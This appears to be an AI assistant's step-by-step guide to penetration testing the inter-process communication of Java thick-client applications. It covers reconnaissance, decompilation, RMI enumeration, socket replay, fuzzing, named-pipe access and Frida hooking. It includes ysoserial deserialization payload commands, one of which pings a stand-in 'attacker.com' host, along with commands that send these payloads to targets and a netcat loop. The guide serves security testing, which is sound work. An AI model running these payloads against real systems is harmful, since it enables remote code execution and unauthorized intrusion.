I'll provide you with a comprehensive step-by-step guide for testing Inter-Process Communication (IPC) vulnerabilities in thick client Java applications.
Understanding IPC in Java Applications
Java thick clients commonly use these IPC mechanisms:
- RMI (Remote Method Invocation)
- Java Serialization
- Named Pipes
- Sockets (TCP/UDP)
- Shared Memory
- Message Queues
- REST/SOAP APIs
Step-by-Step Testing Process
Step 1: Reconnaissance and Information Gathering
1.1 Identify IPC Mechanisms
Use Process Monitor (Procmon) to identify IPC operations:
# Download from Microsoft Sysinternals
# Filter settings in Procmon:
# - Process Name: <your_java_app.exe>
# - Operation: starts with "IPC"
# - Path: contains "pipe", "socket", etc.1.2 Monitor Network Communications
Use Wireshark to capture network traffic:
wireshark -i <interface> -f "host <target_ip>" -w capture.pcap
# Filter for Java RMI traffic
tcp.port == 1099 or tcp.port == 10981.3 Check Open Ports and Connections
# Windows
netstat -ano | findstr "LISTENING"
netstat -ano | findstr "<PID>"
# Linux
netstat -tulpn | grep java
lsof -p <PID> -i
ss -tulpn | grep javaStep 2: Analyze Java Application Components
2.1 Decompile Java Application
Use JD-GUI or Jadx:
# Using JD-GUI (GUI-based)
java -jar jd-gui.jar application.jar
# Using Jadx (Command-line)
jadx -d output_dir application.jar
# Look for:
# - RMI registry bindings
# - Socket implementations
# - Serialization code
# - Named pipe usage2.2 Search for IPC-Related Code
# Using grep on decompiled source
grep -r "Registry.bind\|Naming.rebind\|ObjectInputStream\|ObjectOutputStream" .
grep -r "ServerSocket\|Socket\|DatagramSocket" .
grep -r "RandomAccessFile.*rw" . # For shared memoryStep 3: Test RMI Vulnerabilities
3.1 Enumerate RMI Registry
Use rmg (Remote Method Guesser):
# Download rmg
git clone https://github.com/qtc-de/remote-method-guesser.git
cd remote-method-guesser
mvn clean package
# Enumerate RMI registry
java -jar rmg.jar enum <target_ip> <port>
# Example output shows registered objects and their methods3.2 Test for Deserialization Vulnerabilities
Use ysoserial:
# Generate malicious payload
java -jar ysoserial.jar CommonsCollections6 "calc.exe" > payload.ser
# Send payload using rmg
java -jar rmg.jar call <target_ip> <port> '"<method>"' --signature "<signature>" --bound-name <name> @payload.ser
# Or use BaRMIe
java -jar BaRMIe.jar -attack <target_ip> <port>3.3 Test Authentication Bypass
# Check if RMI registry allows anonymous access
java -jar rmg.jar guess <target_ip> <port>
# Test method invocation without proper authentication
java -jar rmg.jar method <target_ip> <port> <object_name> <method_name>Step 4: Test Socket-Based Communication
4.1 Intercept Socket Communication
Use Echo Mirage or Burp Suite:
# For unencrypted sockets, use Burp Suite
# Configure Java app to use proxy:
java -Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8080 -jar application.jar
# For custom protocols, use Wireshark
tshark -i <interface> -f "tcp port <port>" -w socket_capture.pcap4.2 Replay and Manipulate Messages
Use netcat or socat:
# Listen on port and capture messages
nc -lvp <port> > captured_messages.txt
# Replay captured message
cat captured_messages.txt | nc <target_ip> <port>
# Interactive manipulation
nc <target_ip> <port>
# Then manually send modified data4.3 Fuzz Socket Communication
Use boofuzz:
# Create fuzzing script (fuzz_socket.py)
from boofuzz import *
def main():
session = Session(target=Target(connection=SocketConnection("127.0.0.1", 9999)))
s_initialize("REQUEST")
s_string("COMMAND", fuzzable=True)
s_delim(" ", fuzzable=False)
s_string("DATA", fuzzable=True)
session.connect(s_get("REQUEST"))
session.fuzz()
if __name__ == "__main__":
main()# Run fuzzer
python fuzz_socket.pyStep 5: Test Named Pipes
5.1 Enumerate Named Pipes
# Windows
# Use PipeList from Sysinternals
pipelist.exe
# Or PowerShell
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
# Linux
ls -la /tmp/ | grep pipe5.2 Test Pipe Permissions
Use AccessChk (Windows):
accesschk.exe -wvu \\.\pipe\* > pipe_permissions.txt
# Look for pipes with:
# - Everyone (Full Control)
# - Authenticated Users (Modify)5.3 Connect to Named Pipes
Use PipeClient or custom script:
# Python script to connect to named pipe (pipe_client.py)
import win32pipe
import win32file
pipe_name = r'\\.\pipe\my_pipe_name'
handle = win32file.CreateFile(
pipe_name,
win32file.GENERIC_READ | win32file.GENERIC_WRITE,
0, None,
win32file.OPEN_EXISTING,
0, None
)
# Send data
win32file.WriteFile(handle, b"TEST_DATA")
# Receive response
result = win32file.ReadFile(handle, 4096)
print(result)Step 6: Test Java Serialization
6.1 Detect Serialization Usage
# Monitor with Process Monitor for:
# - ObjectInputStream
# - ObjectOutputStream
# Look in decompiled code for readObject() calls6.2 Test Deserialization Gadgets
# Use ysoserial to generate gadget chains
java -jar ysoserial.jar --help
# Common gadgets for Java applications:
java -jar ysoserial.jar CommonsCollections1 "calc.exe" | base64
java -jar ysoserial.jar CommonsCollections5 "whoami" | base64
java -jar ysoserial.jar Spring1 "ping attacker.com" | base646.3 Send Malicious Serialized Object
# Using curl for HTTP-based serialization
curl -X POST http://target/endpoint \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload.ser
# Using custom Java client
java -cp .:commons-collections-3.2.1.jar ExploitClient <target> <port>Step 7: Test for Race Conditions
7.1 Concurrent Connection Testing
# Use Apache Bench
ab -n 1000 -c 100 http://target:port/endpoint
# Or custom script
for i in {1..100}; do
(nc target_ip port < payload.txt &)
doneStep 8: Advanced Testing with Custom Tools
8.1 Use Frida for Runtime Hooking
# Install Frida
pip install frida-tools
# Hook Java methods
frida -l hook_script.js -f application.jar
# Example hook script (hook_script.js)
Java.perform(function() {
var SocketClass = Java.use("java.net.Socket");
SocketClass.connect.overload('java.net.SocketAddress', 'int').implementation = function(endpoint, timeout) {
console.log("[*] Socket.connect called");
console.log("[*] Endpoint: " + endpoint);
return this.connect(endpoint, timeout);
};
});Common Vulnerabilities to Test For
- Insecure Deserialization - Arbitrary code execution
- Missing Authentication - Unauthorized access to IPC channels
- Insufficient Authorization - Privilege escalation
- Race Conditions - TOCTOU vulnerabilities
- Information Disclosure - Sensitive data in IPC messages
- Injection Attacks - Command/SQL injection via IPC
- Message Tampering - Lack of integrity checks
- Replay Attacks - No nonce/timestamp validation
Tools Summary
- Procmon - Process monitoring
- Wireshark/tshark - Network analysis
- JD-GUI/Jadx - Java decompilation
- rmg - RMI enumeration
- ysoserial - Deserialization payloads
- BaRMIe - RMI security testing
- Burp Suite - HTTP/HTTPS interception
- netcat/socat - Socket testing
- boofuzz - Protocol fuzzing
- Frida - Dynamic instrumentation